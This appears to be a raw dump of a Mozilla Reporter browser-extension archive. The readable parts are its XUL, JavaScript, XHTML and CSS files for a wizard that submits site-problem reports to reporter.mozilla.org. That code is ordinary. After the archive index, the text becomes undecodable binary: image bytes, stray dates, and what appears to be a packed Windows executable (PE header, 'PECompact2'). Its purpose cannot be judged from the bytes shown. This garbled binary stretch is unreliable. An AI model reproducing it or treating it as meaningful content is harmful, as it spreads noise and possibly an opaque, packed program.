<menuitem label="&reportForm.problem_type.item7.title;" value="7"/>
</menupopup>
</menulist>
</row>
<row>
<label control="description" value="&reportForm.describe.title;" accesskey="&reportForm.describe.accesskey;"/>
<textbox id="description" value="" cols="40" rows="5" multiline="true" size="40" class="noborder"/>
</row>
<row align="center">
<label control="email" value="&reportForm.email.title;" accesskey="&reportForm.email.accesskey;"/>
<textbox id="email" size="60" class="noborder"/>
</row>
<row align="center">
<spacer/>
<hbox>
<label id="privacyPolicy" class="text-link"
value="&reportForm.privacyPolicy.title;"
tooltiptext="&reportForm.privacyPolicy.tooltip;"/>
</hbox>
</row>
</rows>
</grid>
</wizardpage>
<!-- Send Data -->
<wizardpage id="sendReport"
onpageshow="sendReport()"
label="&sendReport.label;">
<description>&sendReport.description;</description>
<separator />
<description id="sendReportProgressDescription"/>
<progressmeter id="sendReportProgressIndicator" mode="undetermined" value="0%"/>
</wizardpage>
<!-- Finish -->
<wizardpage id="finish"
label="&finish.label;">
<textbox id="finishSummary" size="60" readonly="true"/>
<hbox>
<checkbox id="showDetail" label="&reportResults.showDetail.title;" accesskey="&reportResults.showDetail.accesskey;" oncommand="showDetail()"/>
</hbox>
<vbox id="finishExtendedFrame" flex="1">
<iframe id="finishExtendedSuccess" type="content" src="report.xhtml" flex="1"/>
<iframe id="finishExtendedFailed" type="content" src="error.xhtml" flex="1"/>
</vbox>
</wizardpage>
</wizard>
}e7IF;
content/reporter/reportWizard.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Boris Zbarsky <bzbarsky@mit.edu>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
/********************************************************
* *** Warning ****
* DO _NOT_ MODIFY THIS FILE without first contacting
* Robert Accettura <robert@accettura.com>
* or a reporter.mozilla.org Admin!
*******************************************************/
const gParamLanguage = window.navigator.language;
const gRMOvers = "0.3"; // Do not touch without contacting reporter admin!
const gParamURL = window.arguments[0];
const gParamUserAgent = navigator.userAgent;
const gParamOSCPU = navigator.oscpu;
const gParamPlatform = navigator.platform;
const gCharset = window.arguments[1];
// Globals
var gParamDescription;
var gParamProblemType;
var gParamBehindLogin;
var gParamEmail;
var gParamBuildConfig;
var gParamGecko;
var gPrefBranch;
var gStatusIndicator;
function getReporterPrefBranch() {
if (!gPrefBranch) {
gPrefBranch = Components.classes["@mozilla.org/preferences-service;1"]
.getService(Components.interfaces.nsIPrefService)
.getBranch("extensions.reporter.");
return gPrefBranch;
function getBoolPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getBoolPref(prefname);
catch(ex) {
return aDefault;
function getCharPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getCharPref(prefname);
catch(ex) {
return aDefault;
function initPrivacyNotice() {
var reportWizard = document.getElementById('reportWizard');
// If they agreed, we continue on
if (getBoolPref("hidePrivacyStatement", false)) {
reportWizard.advance();
} else {
// Don't let users rewind or go forward
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// Load Privacy Policy
var privacyURL = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
document.getElementById("privacyStatement").setAttribute("src", privacyURL+"?plain");
function privacyPolicyCheckbox() {
// if checked, hide message and enable forward button, otherwise show the
// message and disable the forward button.
var canAdvance = document.getElementById('dontShowPrivacyStatement').checked;
document.getElementById('reportWizard').canAdvance = canAdvance;
function setPrivacyPref(){
if (document.getElementById('dontShowPrivacyStatement').checked){
var prefs = getReporterPrefBranch();
prefs.setBoolPref("hidePrivacyStatement", true);
function initForm() {
var strbundle=document.getElementById("strings");
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
document.getElementById('url').value = gParamURL;
// Change next button to "submit report"
reportWizard.getButton('next').label = strbundle.getString("submitReport");
reportWizard.getButton('next').setAttribute("accesskey",
strbundle.getString("submitReport.accesskey"));
// Set the privacy policy link href
var url = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
var privacyLink = document.getElementById("privacyPolicy");
privacyLink.setAttribute("href", url);
// We don't let the user go forward until they fulfill certain requirements - see validateform()
reportWizard.canAdvance = false;
document.getElementById("problem_type").focus();
function validateForm() {
var canAdvance = document.getElementById('problem_type').value != "0";
document.getElementById('reportWizard').canAdvance = canAdvance;
function registerSysID() {
var param = {
'method': 'submitRegister',
'language': gParamLanguage
// go get sysID
sendReporterServerData(param, onRegisterSysIDLoad);
function onRegisterSysIDLoad(req) {
if (req.status == 200) {
var paramSysID = req.responseXML.getElementsByTagName('result').item(0);
// saving
if (paramSysID) {
var prefs = getReporterPrefBranch();
prefs.setCharPref("sysid", paramSysID.textContent);
// Finally send report
sendReport();
return;
// Invalid Response Error
var strbundle = document.getElementById("strings");
showError(strbundle.getString("invalidResponse"));
return;
// On error
var errorStr = extractError(req);
showError(errorStr);
function sendReport() {
// Check for a sysid, if we don't have one, get one it will call sendReport on success.
var sysId = getCharPref("sysid", "");
if (sysId == ""){
registerSysID();
return;
// we control the user path from here.
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// why would we need a cancel button?
reportWizard.getButton("cancel").disabled = true;
var strbundle=document.getElementById("strings");
var statusDescription = document.getElementById('sendReportProgressDescription');
gStatusIndicator = document.getElementById('sendReportProgressIndicator');
// Data from form we need
gParamDescription = document.getElementById('description').value;
gParamProblemType = document.getElementById('problem_type').value;
gParamBehindLogin = document.getElementById('behind_login').checked;
gParamEmail = document.getElementById('email').value;
gParamBuildConfig = getBuildConfig();
gParamGecko = getGecko();
// params
var param = {
'method': 'submitReport',
'rmoVers': gRMOvers,
'url': gParamURL,
'problem_type': gParamProblemType,
'description': gParamDescription,
'behind_login': gParamBehindLogin,
'platform': gParamPlatform,
'oscpu': gParamOSCPU,
'gecko': gParamGecko,
'product': getProduct(),
'useragent': gParamUserAgent,
'buildconfig': gParamBuildConfig,
'language': gParamLanguage,
'email': gParamEmail,
'charset': gCharset,
'sysid': sysId
gStatusIndicator.value = "5%";
statusDescription.value = strbundle.getString("sendingReport");
sendReporterServerData(param, onSendReportDataLoad);
function onSendReportDataProgress(e) {
gStatusIndicator.value = (e.position / e.totalSize)*100;
function sendReporterServerData(params, callback) {
var serviceURL = getCharPref("serviceURL", "http://reporter.mozilla.org/service/0.3/");
params = serializeParams(params);
var request = new XMLHttpRequest();
request.onprogress = onSendReportDataProgress;
request.open("POST", serviceURL, true);
request.onreadystatechange = function () {
if (request.readyState == 4)
callback(request);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.setRequestHeader("Content-length", params.length);
request.setRequestHeader("Connection", "close");
request.send(params);
function serializeParams(params) {
var str = '';
for (var key in params) {
str += key + '=' + encodeURIComponent(params[key]) + '&';
return str.slice(0, -1);
function onSendReportDataLoad(req) {
if (req.status != 200) {
var errorStr = extractError(req);
showError(errorStr);
return;
var reportWizard = document.getElementById('reportWizard');
var finishSummary = document.getElementById('finishSummary');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var statusDescription = document.getElementById('sendReportProgressDescription');
var strbundle = document.getElementById("strings");
// If successful
finishExtendedFailed.hidden = true;
statusDescription.value = strbundle.getString("reportSent");
reportWizard.canAdvance = true;
gStatusIndicator.value = "100%";
// Send to the finish page
reportWizard.advance();
// report ID returned from the web service
var reportId = req.responseXML.getElementsByTagName('reportId').item(0).firstChild.data;
finishSummary.value = strbundle.getString("successfullyCreatedReport") + " " + reportId;
finishExtendedDoc = finishExtendedSuccess.contentDocument;
finishExtendedDoc.getElementById('urlStri').textContent = gParamURL;
finishExtendedDoc.getElementById('problemTypeStri').textContent = document.getElementById('problem_type').label;
finishExtendedDoc.getElementById('descriptionStri').textContent = gParamDescription;
finishExtendedDoc.getElementById('platformStri').textContent = gParamPlatform;
finishExtendedDoc.getElementById('oscpuStri').textContent = gParamOSCPU;
finishExtendedDoc.getElementById('productStri').textContent = getProduct();
finishExtendedDoc.getElementById('geckoStri').textContent = gParamGecko;
finishExtendedDoc.getElementById('buildConfigStri').textContent = gParamBuildConfig;
finishExtendedDoc.getElementById('userAgentStri').textContent = gParamUserAgent;
finishExtendedDoc.getElementById('langStri').textContent = gParamLanguage;
finishExtendedDoc.getElementById('emailStri').textContent = gParamEmail;
finishExtendedDoc.getElementById('charsetStri').textContent = gCharset;
reportWizard.canRewind = false;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
return;
function extractError(req){
var error = req.responseXML.getElementsByTagName('errorString').item(0)
if (error) {
return error.textContent;
// Default error
var strbundle = document.getElementById("strings");
return strbundle.getString("defaultError");
function showError(errorStr){
var strbundle = document.getElementById("strings");
var finishSummary = document.getElementById('finishSummary');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
// If there was an error from the server
finishExtendedSuccess.hidden = true;
// Change the label on the page so users know we have an error
var finishPage = document.getElementById('finish');
finishPage.setAttribute("label",strbundle.getString("finishError"));
var reportWizard = document.getElementById('reportWizard');
reportWizard.canAdvance = true;
reportWizard.advance();
finishSummary.value = strbundle.getString("failedCreatingReport");
finishExtendedDoc = finishExtendedFailed.contentDocument;
finishExtendedDoc.getElementById('faultMessage').textContent = errorStr;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
function showDetail() {
var hideDetail = document.getElementById('showDetail').checked ? false : true;
document.getElementById('finishExtendedFrame').collapsed = hideDetail;
function getBuildConfig() {
// bz and Biesi are my heroes for writing/debugging this chunk.
try {
var ioservice =
Components.classes["@mozilla.org/network/io-service;1"]
.getService(Components.interfaces.nsIIOService);
var channel = ioservice.newChannel("chrome://global/content/buildconfig.html", null, null);
var stream = channel.open();
var scriptableInputStream =
Components.classes["@mozilla.org/scriptableinputstream;1"]
.createInstance(Components.interfaces.nsIScriptableInputStream);
scriptableInputStream.init(stream);
var data = "";
var curBit = scriptableInputStream.read(4096);
while (curBit.length) {
data += curBit;
curBit = scriptableInputStream.read(4096);
// Strip out the <!DOCTYPE> part, since it's not valid XML
data = data.replace(/^<!DOCTYPE[^>]*>/, "");
// Probably not strictly needed, but what the heck
data = data.replace(/^<html>/, "<html xmlns='http://www.w3.org/1999/xhtml'>");
var parser = new DOMParser();
var buildconfig = parser.parseFromString(data, "application/xhtml+xml");
var text = buildconfig.getElementsByTagName("body")[0].textContent;
var start= text.indexOf('Configure arguments')+19;
return text.substring(start);
} catch(ex) {
dump(ex);
return "Unknown";
function getProduct() {
try {
// Works on Firefox 1.0+ and Future SeaMonkey's
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.name+"/"+appInfo.version;
catch(ex) {}
// only works on Gecko 1.8 and higher (if above doesn't return)
if ('nsIChromeRegistrySea' in Components.interfaces) {
return 'SeaMonkey/'+
Components.classes['@mozilla.org/network/io-service;1']
.getService(Components.interfaces.nsIIOService)
.getProtocolHandler('http')
.QueryInterface(Components.interfaces.nsIHttpProtocolHandler).misc.substring(3);
// Firefox < 1.0+ or a last ditch effort for others that may fail
else if (navigator.vendor != ''){
return window.navigator.vendor+'/'+window.navigator.vendorSub;
else {
return "Unknown";
function getGecko() {
try {
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.platformBuildID;
catch(ex) {
return "00000000"; // 8 0's to ignore as we have historically
content/reporter/reporterOverlay.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Jay Patel <jay@mozilla.org>
- Gavin Sharp <gavin@gavinsharp.com>
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<!DOCTYPE overlay SYSTEM "chrome://reporter/locale/reporterOverlay.dtd">
<overlay id="reporterMenuOverlay"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reporterOverlay.js"/>
<!-- Firefox -->
<broadcasterset id="mainBroadcasterSet">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="menu_HelpPopup">
<menuitem id="menu_HelpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertafter="releaseNotes"
observes="reporterItemsBroadcaster"
oncommand="loadReporterWizard()"/>
</menupopup>
<!-- SeaMonkey -->
<broadcasterset id="navBroadcasters">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="helpPopup">
<menuseparator insertbefore="menu_HelpAboutSeparator"/>
<menuitem id="helpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertbefore="menu_HelpAboutSeparator"
oncommand="loadReporterWizard()"
observes="reporterItemsBroadcaster"/>
</menupopup>
</overlay>
}e73w@
content/reporter/reporterOverlay.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Gavin Sharp <gavin@gavinsharp.com>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
var reporterListener = {
QueryInterface: function(aIID) {
if (aIID.equals(Components.interfaces.nsIWebProgressListener) ||
aIID.equals(Components.interfaces.nsIWebProgressListener2) ||
aIID.equals(Components.interfaces.nsISupportsWeakReference) ||
aIID.equals(Components.interfaces.nsISupports))
return this;
throw Components.results.NS_NOINTERFACE;
onLocationChange: function(aProgress, aRequest, aURI) {
var broadcaster = document.getElementById("reporterItemsBroadcaster");
var isEnabled = false;
if (aURI instanceof Components.interfaces.nsIURI) {
switch (aURI.scheme) {
case "http":
case "https":
case "ftp":
case "gopher":
isEnabled = true;
}
broadcaster.setAttribute("disabled", !isEnabled);
onStateChange: function() { },
onProgressChange: function() { },
onStatusChange: function() { },
onSecurityChange: function() { },
onLinkIconAvailable: function() { },
onProgressChange64: function() { },
onRefreshAttempted: function() { return true; }
function onBrowserLoad() {
if ("undefined" != typeof(gBrowser))
gBrowser.addProgressListener(reporterListener);
function loadReporterWizard() {
var browser = getBrowser();
var charSet = browser.contentDocument.characterSet;
var url = browser.currentURI.spec;
window.openDialog("chrome://reporter/content/reportWizard.xul", "",
"chrome,centerscreen,dialog",
url,
charSet);
return true;
window.addEventListener("load", onBrowserLoad, false);
content/reporter/error.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<h3>&error;</h3>
<div id="messagediv"><span id="faultMessage"/></div>
</body>
</html>
content/reporter/report.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<table>
<th>&reportSite;:</th>
<td><span id="urlStri"/></td>
<th>&reportProblemType;:</th>
<td><span id="problemTypeStri"/></td>
<th>&reportDecsription;:</th>
<td><span id="descriptionStri"/></td>
<th>&reportPlatform;:</th>
<td><span id="platformStri"/></td>
<th>&reportProduct;:</th>
<td><span id="productStri"/></td>
<th>&reportoscpu;:</th>
<td><span id="oscpuStri"/></td>
<th>&reportGecko;:</th>
<td><span id="geckoStri"/></td>
<th>&reportBuildConfig;:</th>
<td><span id="buildConfigStri"/></td>
<th>&reportUseragent;:</th>
<td><span id="userAgentStri"/></td>
<th>&reportLanguage;:</th>
<td><span id="langStri"/></td>
<th>&reportCharset;:</th>
<td><span id="charsetStri"/></td>
<th>&reportEmail;:</th>
<td><span id="emailStri"/></td>
</table>
</body>
</html>
[62t]GA
skin/classic/reporter/icon.pngPNG
tEXtComment
Created with The GIMPd%n
D y<YE
_wi:rsrG
!_v'")GH
EPy//o=,
*s]o)TlpP'
VfD7$}v8v=
H;P'L{
=c,432
u}\squ
J7\HE]&
s2/VFVA
IENDB`PK
skin/classic/reporter/reportResults.cssbody {
font: message-box;
width: 100px;
text-align: left;
vertical-align: top;
table {
width: 95%;
skin/classic/reporter/reportWizard.css/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
#privacyFrame, #finishExtendedFrame {
-moz-appearance: listbox;
margin: 2px 4px;
border: 2px solid;
-moz-border-top-colors: ThreeDShadow ThreeDDarkShadow;
-moz-border-right-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-bottom-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-left-colors: ThreeDShadow ThreeDDarkShadow;
background-color: -moz-Field;
color: -moz-FieldText;
wizard[description=""] .wizard-header-description {
display: none;
content/reporter/reportWizard.xulPK
}e7IF;
content/reporter/reportWizard.jsPK
content/reporter/reporterOverlay.xulPK
}e73w@
content/reporter/reporterOverlay.jsPK
content/reporter/error.xhtmlPK
content/reporter/report.xhtmlPK
[62t]GA
skin/classic/reporter/icon.pngPK
skin/classic/reporter/reportResults.cssPK
skin/classic/reporter/reportWizard.cssPK
4/5/2019 4/5/2019 4/6/2019 14/6/2019 1BM8
Xea8I>v
BOD`jatuky
3@68F8@J;\f^qwu~y
at{y{4A3#/
qIQDjrh
6B5Sb^
wDG>4?3+=2tr^
lqkswn_eY
x0<@%5'3?/
grqZaYw|w
Zl@JtOYN"3%|
pusq{}
->>.;9
;I?GZT^mn
#-:HQ{p|{;LGauz
c: j>#pC&wJ*}L)xbUa`(7Vtehf\]s0AAHZTvcv}k
$.;IfvDHD8MTd{g~m~TfaUgbK`\]rw}aS?c8
"&K\\|RgrezXmuzJ]fsbqo@PKCTOD]d~'$
(6,.C<Uikt
iyA[hk~Zn
4JZ*:8
!+#*=5@WVObd
Z{e}3Qw;Vl
VY\^dl<BF=FH
+=55JF;PNIar
i|TewA[ob}Tfr
#'ZaiVajdq~!+''805MNZs
lZw(K,Z);K
x*=Ej|
$'-.98?QW7EJ
+-]v@R`q~Xtj)Bj&>m+FdK_te|4LVrBHI
15<jwu<J>JZYRfnPl+E\
*.buzb-Hq+M@Ts0E\
Vm~-7U7A;_eb7=C
4;C_lp
3DP3CJRdv3Ka@Zs
;]w;KXRn
;@D~6O`
/<I\i<qD|evv<Xjbu~DVX,;?
{NhyVn
'F^sl{;QX"-'
'! )!&
4Ro.D[%4D
CHPSmLi;N`
2OlUt
k$M4aKx/Mu
!*+:L}
,H%Ab6^!2G
'?]&Ef*Im
*2-6/=GB
'-1;;/80!&"
CRk1Gi
6BG_lw]gn
@b=cSx>Vw
AJW%(-
"*7;EahrCf Bf-T{?b^~|6AQ1:IfrIOX
AVg(FcSt
QdrH[sGf
g|>Vlatz
+Yesz{py
"*7FQa|bn
zxmv@FP
NZk?[}fvNV`
~`{d|ESf
)7n~T]m
hp}IP[
4/8/2019 4/8/2019 4/10/2019 4/10/2019 MZ
L!This program cannot be run in DOS mode.
PEC2^O
mbTpEN
:EWB(CO!
P\_!"%
hDB;e@~o
u|KrA/
b^UbUA
#Dzsb2dp&d
I81,xN6`
@Kk\;>d_y
%WzztE+`i[gV[bf1=9
D;kbr7?WY|
Z(PQ.KWUd
IWa+VW
t_%f]l.k+
b7/+Kv=Qg
E\!yP^U,agOPB`
ie}>u!
{xzGG3v0c\>AtUVY
q|^pXK
#il;C2
ktbQo!TZ
.,.Mh!Y!h'.*
q'e1_?m("
Xd'Ziay
n-C/T
0#ZWT|@KJ
eDtlk1
Vh0y&]!
?j|829J
xT+8v(
$J}ji0
fU^ma2yUf
pnxv=k
CK?K~9f\(%{
H<nO0.g
(b$a,kz"`Hn#[<ms&Q%
A^1.Q>-b
5#IK3&X!%V\q
ixz"SYOY
J^MfzNun
Ik^-tHS*
[9h?vnqd
J7Vng0
J#H#{]`$RXBPJ
N$Le=F
=8wv-3
s#*Za&DZ9
v?L$4P
v|jhXQ]N'
mGd/VD)=1B
3|P)ST
atgZCU+g
+d0J1I
18pO^l>p3
m'@e'05
LgThHL
D#f{O(J`d"rF
J7urt`Rj
3$+cC9W
yywWm;
Jjex|s
X!#uoK12#
"s@K\}C
?R{,hUUu ikHc
PECompact2
\ugWPw
H%caAp
6m8Nme!6
VR^]RIK5
vdQ_w\|H
y9e!w)n
]oRln uJ
=%8T"mXgbslcoF
$E,+hu
s@B?hqa`
#^|G(!8
x`T"@h
Ozi FzR7
zL)cOx
ba&tqa
J`/O`0
.E]=NQjKnw
1.19_p
vS}pT<*bgN_
WGc.5mIr@`^
/M8@tCL=ge
H:aP%w9iWPs0.,q
2\.vghK>-(au
"hA=1M-
r9W;>-
gigov
0~P<!Az$
#]_E{3o
4{h.6DsN!
+QRKK?t
^**5!<Vg
NZ_Rt
s0BRK3.[q#I
gKO3lToa
wW-E&@&A^t&
HEC+X[:
?EXN\GO(?
%OIpMEG
e+.;:?
Y;zVpN
Z'K20Vxq
?%Mh2^G
lXV!QOA,ex
pS@hv;
i'h8Q]g
tM;k/&i
bKz5Bg3
c14=pxh
Y,9}'r=[39dUM{RZ_
QN.KEnB[r
.nyULT6
xl$T&0C6
q]}N:)
Ag7F%TQf|U`
#h7HlV/M
PG3ilpeGA~oLIC,
}r/h{bG~
MCPTl+mj
oD u{VuLR.%
9iXS7b
^#w0N8
QqKrx[1T|>*
+NW{(h
I~+aXHt
uTpNMC
XC6mD.g
a`v\.$J,s[
u<-@pc}]
phusCJH]
o!w-BTy&
i*V&S9
Jtt]{JQ
E*wmc3e(jbtgh(
v-9q[3$uZU
HdOM1x&
8WiNW@
e87@46]
}D~+eLuOf
nAr8ei#v
~K(rAN
(rU)E'
TU?Ho9oJ
b'c4;|
p~>\\c@WCG{
t[1It/Tl"x
mNP_nw_WUZ
Q;G9%2|v13
;Li[@cc+
bYV/LT
DU=m?M!]
+@@L4~Ru4
ycr1FJP
/d._]aUIU>2|
/wQ)bAvRw;
*cV!^vgFcu*o
8.t__g
_P}`\nJ
))_c,dQ
'/ZMtQ
krgkLpf
'WC,oj /9
0psHW
'"[<VGs`
,G^`h,x
Gyp.`[
Ilv6Lgqm`x~Z
}oo\sRapWTz
'uwTH"
X8`,fw-
Zj{I# AJ
3G>51D8GvkR
<1V\%H
b.l} 2#,cczg%V
Y_eza^.\/CVj8tg
UsKjSS
nB^ur8E k
.QTcR
